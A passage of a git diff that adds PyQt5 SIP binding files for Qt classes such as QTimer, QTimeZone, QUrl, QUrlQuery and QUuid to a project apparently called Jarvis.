virtual qreal valueForTime(int msec) const; + +public slots: + void resume(); + void setCurrentTime(int msec); + void setPaused(bool paused); + void start(); + void stop(); + void toggleDirection(); + +signals: + void finished(); + void frameChanged(int); + void stateChanged(QTimeLine::State newState); + void valueChanged(qreal x); + +protected: + virtual void timerEvent(QTimerEvent *event); + +public: + QEasingCurve easingCurve() const; + void setEasingCurve(const QEasingCurve &curve); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimer.sip new file mode 100644 index 00000000..8e62357b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimer.sip @@ -0,0 +1,83 @@ +// qtimer.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTimer : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTimer(QObject *parent /TransferThis/ = 0); + virtual ~QTimer(); + bool isActive() const; + int timerId() const; + void setInterval(int msec); + int interval() const; + bool isSingleShot() const; + void setSingleShot(bool asingleShot); + static void singleShot(int msec, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_get_connection_parts(a1, 0, "()", true, &receiver, slot_signature)) == sipErrorNone) + { + QTimer::singleShot(a0, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + static void singleShot(int msec, Qt::TimerType timerType, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_get_connection_parts(a2, 0, "()", true, &receiver, slot_signature)) == sipErrorNone) + { + QTimer::singleShot(a0, a1, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + +public slots: + void start(int msec); + void start(); + void stop(); + +signals: + void timeout(); + +protected: + virtual void timerEvent(QTimerEvent *); + +public: + void setTimerType(Qt::TimerType atype); + Qt::TimerType timerType() const; + int remainingTime() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimezone.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimezone.sip new file mode 100644 index 00000000..a64b5cbe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtimezone.sip @@ -0,0 +1,111 @@ +// qtimezone.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QTimeZone +{ +%TypeHeaderCode +#include +%End + +public: + enum TimeType + { + StandardTime, + DaylightTime, + GenericTime, + }; + + enum NameType + { + DefaultName, + LongName, + ShortName, + OffsetName, + }; + + struct OffsetData + { +%TypeHeaderCode +#include +%End + + QString abbreviation; + QDateTime atUtc; + int offsetFromUtc; + int standardTimeOffset; + int daylightTimeOffset; + }; + + typedef QVector OffsetDataList; + QTimeZone(); + explicit QTimeZone(const QByteArray &ianaId); + explicit QTimeZone(int offsetSeconds); + QTimeZone(const QByteArray &zoneId, int offsetSeconds, const QString &name, const QString &abbreviation, QLocale::Country country = QLocale::AnyCountry, const QString &comment = QString()); + QTimeZone(const QTimeZone &other); + ~QTimeZone(); + void swap(QTimeZone &other /Constrained/); + bool operator==(const QTimeZone &other) const; + bool operator!=(const QTimeZone &other) const; + bool isValid() const; + QByteArray id() const; + QLocale::Country country() const; + QString comment() const; + QString displayName(const QDateTime &atDateTime, QTimeZone::NameType nameType = QTimeZone::DefaultName, const QLocale &locale = QLocale()) const; + QString displayName(QTimeZone::TimeType timeType, QTimeZone::NameType nameType = QTimeZone::DefaultName, const QLocale &locale = QLocale()) const; + QString abbreviation(const QDateTime &atDateTime) const; + int offsetFromUtc(const QDateTime &atDateTime) const; + int standardTimeOffset(const QDateTime &atDateTime) const; + int daylightTimeOffset(const QDateTime &atDateTime) const; + bool hasDaylightTime() const; + bool isDaylightTime(const QDateTime &atDateTime) const; + QTimeZone::OffsetData offsetData(const QDateTime &forDateTime) const; + bool hasTransitions() const; + QTimeZone::OffsetData nextTransition(const QDateTime &afterDateTime) const; + QTimeZone::OffsetData previousTransition(const QDateTime &beforeDateTime) const; + QTimeZone::OffsetDataList transitions(const QDateTime &fromDateTime, const QDateTime &toDateTime) const; + static QByteArray systemTimeZoneId(); + static bool isTimeZoneIdAvailable(const QByteArray &ianaId); + static QList availableTimeZoneIds(); + static QList availableTimeZoneIds(QLocale::Country country /Constrained/); + static QList availableTimeZoneIds(int offsetSeconds); + static QByteArray ianaIdToWindowsId(const QByteArray &ianaId); + static QByteArray windowsIdToDefaultIanaId(const QByteArray &windowsId); + static QByteArray windowsIdToDefaultIanaId(const QByteArray &windowsId, QLocale::Country country); + static QList windowsIdToIanaIds(const QByteArray &windowsId); + static QList windowsIdToIanaIds(const QByteArray &windowsId, QLocale::Country country); +%If (Qt_5_5_0 -) + static QTimeZone systemTimeZone(); +%End +%If (Qt_5_5_0 -) + static QTimeZone utc(); +%End +}; + +%End +%If (Qt_5_2_0 -) +QDataStream &operator<<(QDataStream &ds, const QTimeZone &tz /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_2_0 -) +QDataStream &operator>>(QDataStream &ds, QTimeZone &tz /Constrained/) /ReleaseGIL/; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtranslator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtranslator.sip new file mode 100644 index 00000000..5bffbd57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtranslator.sip @@ -0,0 +1,43 @@ +// qtranslator.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTranslator : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTranslator(QObject *parent /TransferThis/ = 0); + virtual ~QTranslator(); + virtual QString translate(const char *context, const char *sourceText, const char *disambiguation = 0, int n = -1) const; + virtual bool isEmpty() const; + bool load(const QString &fileName, const QString &directory = QString(), const QString &searchDelimiters = QString(), const QString &suffix = QString()) /ReleaseGIL/; + bool load(const QLocale &locale, const QString &fileName, const QString &prefix = QString(), const QString &directory = QString(), const QString &suffix = QString()) /ReleaseGIL/; + bool load(const uchar *data /Array/, int len /ArraySize/, const QString &directory = QString()) /PyName=loadFromData,ReleaseGIL/; +%If (Qt_5_15_0 -) + QString language() const; +%End +%If (Qt_5_15_0 -) + QString filePath() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtransposeproxymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtransposeproxymodel.sip new file mode 100644 index 00000000..0032b3c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qtransposeproxymodel.sip @@ -0,0 +1,55 @@ +// qtransposeproxymodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) + +class QTransposeProxyModel : QAbstractProxyModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTransposeProxyModel(QObject *parent /TransferThis/ = 0); + virtual ~QTransposeProxyModel(); + virtual void setSourceModel(QAbstractItemModel *newSourceModel /KeepReference/); + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual bool setItemData(const QModelIndex &index, const QMap &roles); + virtual QSize span(const QModelIndex &index) const; + virtual QMap itemData(const QModelIndex &index) const; + virtual QModelIndex mapFromSource(const QModelIndex &sourceIndex) const; + virtual QModelIndex mapToSource(const QModelIndex &proxyIndex) const; + virtual QModelIndex parent(const QModelIndex &index) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool moveRows(const QModelIndex &sourceParent, int sourceRow, int count, const QModelIndex &destinationParent, int destinationChild); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool moveColumns(const QModelIndex &sourceParent, int sourceColumn, int count, const QModelIndex &destinationParent, int destinationChild); + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurl.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurl.sip new file mode 100644 index 00000000..62e073c9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurl.sip @@ -0,0 +1,308 @@ +// qurl.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// Template definition for QUrlTwoFlags. +template +class QUrlTwoFlags /PyQtFlagsEnums="E1 E2"/ +{ + // These are handled by the %ConvertToTypeCode. + //QUrlTwoFlags(E1); + //QUrlTwoFlags(E2); + QUrlTwoFlags(); + + QUrlTwoFlags &operator&=(int mask); + //QUrlTwoFlags &operator&=(uint mask); + QUrlTwoFlags &operator|=(QUrlTwoFlags f); + //QUrlTwoFlags &operator|=(E1 f); + //QUrlTwoFlags &operator|=(E2 f); + QUrlTwoFlags &operator^=(QUrlTwoFlags f); + //QUrlTwoFlags &operator^=(E1 f); + //QUrlTwoFlags &operator^=(E2 f); + + operator int() const; + + QUrlTwoFlags operator|(QUrlTwoFlags f) const; + //QUrlTwoFlags operator|(E1 f) const; + //QUrlTwoFlags operator|(E2 f) const; + QUrlTwoFlags operator^(QUrlTwoFlags f) const; + //QUrlTwoFlags operator^(E1 f) const; + //QUrlTwoFlags operator^(E2 f) const; + QUrlTwoFlags operator&(int mask) const; + //QUrlTwoFlags operator&(uint mask) const; + //QUrlTwoFlags operator&(E1 f) const; + //QUrlTwoFlags operator&(E2 f) const; + QUrlTwoFlags operator~() const; + + // These are necessary to prevent Python comparing object IDs. + bool operator==(const QUrlTwoFlags &f) const; +%MethodCode + sipRes = (sipCpp->operator int() == a0->operator int()); +%End + + bool operator!=(const QUrlTwoFlags &f) const; +%MethodCode + sipRes = (sipCpp->operator int() != a0->operator int()); +%End + + int __bool__() const; +%MethodCode + sipRes = (sipCpp->operator int() != 0); +%End + +%ConvertToTypeCode +// Allow an instance of the base enums whenever a QUrlTwoFlags is expected. + +if (sipIsErr == NULL) + return (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_E1)) || + PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_E2)) || + sipCanConvertToType(sipPy, sipType_QUrlTwoFlags, SIP_NO_CONVERTORS)); + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_E1)) || + PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_E2))) +{ + *sipCppPtr = new QUrlTwoFlags(int(SIPLong_AsLong(sipPy))); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QUrlTwoFlags, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End +}; + +class QUrl +{ +%TypeHeaderCode +#include +%End + +%TypeCode +#include +%End + +public: + enum ParsingMode + { + TolerantMode, + StrictMode, + DecodedMode, + }; + + QUrl(); + QUrl(const QString &url, QUrl::ParsingMode mode = QUrl::TolerantMode); + QUrl(const QUrl ©); + ~QUrl(); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *uni = qpycore_PyObject_FromQString(sipCpp->toString()); + + if (uni) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QUrl(%R)", uni); + #else + sipRes = PyString_FromFormat("PyQt5.QtCore.QUrl("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(uni)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + + Py_DECREF(uni); + } +%End + + enum UrlFormattingOption + { + None /PyName=None_/, + RemoveScheme, + RemovePassword, + RemoveUserInfo, + RemovePort, + RemoveAuthority, + RemovePath, + RemoveQuery, + RemoveFragment, + PreferLocalFile, + StripTrailingSlash, +%If (Qt_5_2_0 -) + RemoveFilename, +%End +%If (Qt_5_2_0 -) + NormalizePathSegments, +%End + }; + + typedef QUrlTwoFlags FormattingOptions; + + enum ComponentFormattingOption + { + PrettyDecoded, + EncodeSpaces, + EncodeUnicode, + EncodeDelimiters, + EncodeReserved, + DecodeReserved, + FullyEncoded, + FullyDecoded, + }; + + typedef QFlags ComponentFormattingOptions; + QString url(QUrlTwoFlags options = QUrl::PrettyDecoded) const; + void setUrl(const QString &url, QUrl::ParsingMode mode = QUrl::TolerantMode); + bool isValid() const; + bool isEmpty() const; + void clear(); + void setScheme(const QString &scheme); + QString scheme() const; + void setAuthority(const QString &authority, QUrl::ParsingMode mode = QUrl::TolerantMode); + QString authority(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + void setUserInfo(const QString &userInfo, QUrl::ParsingMode mode = QUrl::TolerantMode); + QString userInfo(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; +%If (Qt_5_2_0 -) + void setUserName(const QString &userName, QUrl::ParsingMode mode = QUrl::DecodedMode); +%End +%If (- Qt_5_2_0) + void setUserName(const QString &userName, QUrl::ParsingMode mode = QUrl::TolerantMode); +%End +%If (Qt_5_2_0 -) + QString userName(QUrl::ComponentFormattingOptions options = QUrl::FullyDecoded) const; +%End +%If (- Qt_5_2_0) + QString userName(QFlags options = QUrl::PrettyDecoded) const; +%End +%If (Qt_5_2_0 -) + void setPassword(const QString &password, QUrl::ParsingMode mode = QUrl::DecodedMode); +%End +%If (- Qt_5_2_0) + void setPassword(const QString &password, QUrl::ParsingMode mode = QUrl::TolerantMode); +%End +%If (Qt_5_2_0 -) + QString password(QUrl::ComponentFormattingOptions options = QUrl::FullyDecoded) const; +%End +%If (- Qt_5_2_0) + QString password(QFlags options = QUrl::PrettyDecoded) const; +%End +%If (Qt_5_2_0 -) + void setHost(const QString &host, QUrl::ParsingMode mode = QUrl::DecodedMode); +%End +%If (- Qt_5_2_0) + void setHost(const QString &host, QUrl::ParsingMode mode = QUrl::TolerantMode); +%End +%If (Qt_5_2_0 -) + QString host(QUrl::ComponentFormattingOptions = QUrl::FullyDecoded) const; +%End +%If (- Qt_5_2_0) + QString host(QFlags options = QUrl::PrettyDecoded) const; +%End + void setPort(int port); + int port(int defaultPort = -1) const; +%If (Qt_5_2_0 -) + void setPath(const QString &path, QUrl::ParsingMode mode = QUrl::DecodedMode); +%End +%If (- Qt_5_2_0) + void setPath(const QString &path, QUrl::ParsingMode mode = QUrl::TolerantMode); +%End +%If (Qt_5_2_0 -) + QString path(QUrl::ComponentFormattingOptions options = QUrl::FullyDecoded) const; +%End +%If (- Qt_5_2_0) + QString path(QFlags options = QUrl::PrettyDecoded) const; +%End + void setFragment(const QString &fragment, QUrl::ParsingMode mode = QUrl::TolerantMode); + QString fragment(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + QUrl resolved(const QUrl &relative) const; + bool isRelative() const; + bool isParentOf(const QUrl &url) const; + static QUrl fromLocalFile(const QString &localfile); + QString toLocalFile() const; + QString toString(QUrlTwoFlags options = QUrl::PrettyDecoded) const; + QByteArray toEncoded(QUrlTwoFlags options = QUrl::FullyEncoded) const; + static QUrl fromEncoded(const QByteArray &u, QUrl::ParsingMode mode = QUrl::TolerantMode); + void detach(); + bool isDetached() const; + bool operator<(const QUrl &url) const; + bool operator==(const QUrl &url) const; + bool operator!=(const QUrl &url) const; + static QString fromPercentEncoding(const QByteArray &); + static QByteArray toPercentEncoding(const QString &input, const QByteArray &exclude = QByteArray(), const QByteArray &include = QByteArray()); + bool hasQuery() const; + bool hasFragment() const; + QString errorString() const; + static QString fromAce(const QByteArray &); + static QByteArray toAce(const QString &); + static QStringList idnWhitelist(); + static void setIdnWhitelist(const QStringList &); + static QUrl fromUserInput(const QString &userInput); + void swap(QUrl &other /Constrained/); +%If (Qt_5_2_0 -) + QString topLevelDomain(QUrl::ComponentFormattingOptions options = QUrl::FullyDecoded) const; +%End +%If (- Qt_5_2_0) + QString topLevelDomain(QFlags options = QUrl::PrettyDecoded) const; +%End + bool isLocalFile() const; + QString toDisplayString(QUrlTwoFlags options = QUrl::PrettyDecoded) const; + void setQuery(const QString &query, QUrl::ParsingMode mode = QUrl::TolerantMode); + void setQuery(const QUrlQuery &query); + QString query(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; +%If (Qt_5_1_0 -) + static QStringList toStringList(const QList &uris, QUrlTwoFlags options = QUrl::PrettyDecoded); +%End +%If (Qt_5_1_0 -) + static QList fromStringList(const QStringList &uris, QUrl::ParsingMode mode = QUrl::TolerantMode); +%End +%If (Qt_5_2_0 -) + QUrl adjusted(QUrl::FormattingOptions options) const; +%End +%If (Qt_5_2_0 -) + QString fileName(QUrl::ComponentFormattingOptions options = QUrl::FullyDecoded) const; +%End +%If (Qt_5_2_0 -) + bool matches(const QUrl &url, QUrl::FormattingOptions options) const; +%End +%If (Qt_5_4_0 -) + + enum UserInputResolutionOption + { + DefaultResolution, + AssumeLocalFile, + }; + +%End +%If (Qt_5_4_0 -) + typedef QFlags UserInputResolutionOptions; +%End +%If (Qt_5_4_0 -) + static QUrl fromUserInput(const QString &userInput, const QString &workingDirectory, QUrl::UserInputResolutionOptions options = QUrl::DefaultResolution); +%End +}; + +QFlags operator|(QUrl::ComponentFormattingOption f1, QFlags f2); +QDataStream &operator<<(QDataStream &, const QUrl & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QUrl & /Constrained/) /ReleaseGIL/; +QUrlTwoFlags operator|(QUrl::UrlFormattingOption f1, QUrlTwoFlags f2); +QUrlTwoFlags operator|(QUrl::ComponentFormattingOption f, QUrlTwoFlags i); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurlquery.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurlquery.sip new file mode 100644 index 00000000..2769a4b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qurlquery.sip @@ -0,0 +1,64 @@ +// qurlquery.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUrlQuery +{ +%TypeHeaderCode +#include +%End + +public: + QUrlQuery(); + explicit QUrlQuery(const QUrl &url); + explicit QUrlQuery(const QString &queryString); + QUrlQuery(const QUrlQuery &other); + ~QUrlQuery(); + bool operator==(const QUrlQuery &other) const; + bool operator!=(const QUrlQuery &other) const; + void swap(QUrlQuery &other /Constrained/); + bool isEmpty() const; + bool isDetached() const; + void clear(); + QString query(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + void setQuery(const QString &queryString); + QString toString(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + void setQueryDelimiters(QChar valueDelimiter, QChar pairDelimiter); + QChar queryValueDelimiter() const; + QChar queryPairDelimiter() const; + void setQueryItems(const QList> &query); + QList> queryItems(QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + bool hasQueryItem(const QString &key) const; + void addQueryItem(const QString &key, const QString &value); + void removeQueryItem(const QString &key); + QString queryItemValue(const QString &key, QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + QStringList allQueryItemValues(const QString &key, QUrl::ComponentFormattingOptions options = QUrl::PrettyDecoded) const; + void removeAllQueryItems(const QString &key); + static QChar defaultQueryValueDelimiter(); + static QChar defaultQueryPairDelimiter(); +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/quuid.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/quuid.sip new file mode 100644 index 00000000..cb5a1894 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/quuid.sip @@ -0,0 +1,118 @@ +// quuid.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUuid +{ +%TypeHeaderCode +#include +%End + +public: + enum Variant + { + VarUnknown, + NCS, + DCE, + Microsoft, + Reserved, + }; + + enum Version + { + VerUnknown, + Time, + EmbeddedPOSIX, + Md5, + Name, + Random, + Sha1, + }; + +%If (Qt_5_11_0 -) + + enum StringFormat + { + WithBraces, + WithoutBraces, + Id128, + }; + +%End + QUuid(); + QUuid(uint l, ushort w1, ushort w2, uchar b1 /PyInt/, uchar b2 /PyInt/, uchar b3 /PyInt/, uchar b4 /PyInt/, uchar b5 /PyInt/, uchar b6 /PyInt/, uchar b7 /PyInt/, uchar b8 /PyInt/); + QUuid(const QString &); + QUuid(const QByteArray &); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *uni = qpycore_PyObject_FromQString(sipCpp->toString()); + + if (uni) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QUuid(%R)", uni); + #else + sipRes = PyString_FromFormat("PyQt5.QtCore.QUuid("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(uni)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + + Py_DECREF(uni); + } +%End + + QString toString() const; +%If (Qt_5_11_0 -) + QString toString(QUuid::StringFormat mode) const; +%End + bool isNull() const; + bool operator==(const QUuid &orig) const; + bool operator!=(const QUuid &orig) const; + bool operator<(const QUuid &other) const; + bool operator>(const QUuid &other) const; + static QUuid createUuid(); + static QUuid createUuidV3(const QUuid &ns, const QByteArray &baseData); + static QUuid createUuidV5(const QUuid &ns, const QByteArray &baseData); + static QUuid createUuidV3(const QUuid &ns, const QString &baseData); + static QUuid createUuidV5(const QUuid &ns, const QString &baseData); + QUuid::Variant variant() const; + QUuid::Version version() const; + QByteArray toByteArray() const; +%If (Qt_5_11_0 -) + QByteArray toByteArray(QUuid::StringFormat mode) const; +%End + QByteArray toRfc4122() const; + static QUuid fromRfc4122(const QByteArray &); +}; + +QDataStream &operator<<(QDataStream &, const QUuid & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QUuid & /Constrained/) /ReleaseGIL/; +%If (Qt_5_5_0 -) +bool operator<=(const QUuid &lhs, const QUuid &rhs); +%End +%If (Qt_5_5_0 -) +bool operator>=(const QUuid &lhs, const QUuid &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariant.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariant.sip new file mode 100644 index 00000000..b485fb03 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qvariant.sip @@ -0,0 +1,177 @@ +// qvariant.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVariant /AllowNone,TypeHint="Any",TypeHintValue="None"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +if (sipIsErr == NULL) + // We can convert everything to a QVariant. + return 1; + +// If it is already a QVariant then just return it. +if (Py_TYPE(sipPy) == sipTypeAsPyTypeObject(sipType_QVariant)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, + sipType_QVariant, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +// Convert it to a QVariant. +QVariant var = qpycore_PyObject_AsQVariant(sipPy, sipIsErr); + +if (*sipIsErr) + return 0; + +*sipCppPtr = new QVariant(var); + +return sipGetState(sipTransferObj); +%End + +%ConvertFromTypeCode +return qpycore_PyObject_FromQVariant(*sipCpp); +%End + +public: + enum Type + { + Invalid, + Bool, + Int, + UInt, + LongLong, + ULongLong, + Double, + Char, + Map, + List, + String, + StringList, + ByteArray, + BitArray, + Date, + Time, + DateTime, + Url, + Locale, + Rect, + RectF, + Size, + SizeF, + Line, + LineF, + Point, + PointF, + RegExp, + Font, + Pixmap, + Brush, + Color, + Palette, + Icon, + Image, + Polygon, + Region, + Bitmap, + Cursor, + SizePolicy, + KeySequence, + Pen, + TextLength, + TextFormat, + Matrix, + Transform, + Hash, + Matrix4x4, + Vector2D, + Vector3D, + Vector4D, + Quaternion, + EasingCurve, + Uuid, + ModelIndex, + PolygonF, + RegularExpression, 